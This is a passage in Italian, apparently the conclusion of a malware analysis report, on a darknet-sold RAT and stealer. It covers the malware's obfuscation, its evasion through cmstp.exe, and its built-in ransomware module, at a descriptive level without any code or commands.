esadecimale, rendendo pertanto vane alcune firme e regole YARA di malware hunting create
precedentemente. E altresi importante sottolineare il fatto che vi siano numerosi tentativi di
persistenza, anti-analysis, anti-sandboxing ed evasion (tramite I'exploit del processo
cmstp.exe).

Con tutta probabilita la distribuzione tramite Darknet di stealers e RAT sara sempre piu
frequente. Seguendo la metodologia riscontrata in tale casistica specifica, i forums sopra citati
verranno impiegati per la vendita sul mercato nero di tali pacchetti di software malevolo,
permettendo a svariati threat actors di modificare gli indirizzi Bitcoin od eventuali mails di
contatto dopo la cifratura di files, al fine di estorcere denaro alle vittime. Nel caso in esame &
stato molto interessante la presenza di un modulo Ransomware all'interno di threats RAT
rendendo de facto l'infection kill chain sempre piu completa ed invasiva da un’ottica
dell’attaccante.
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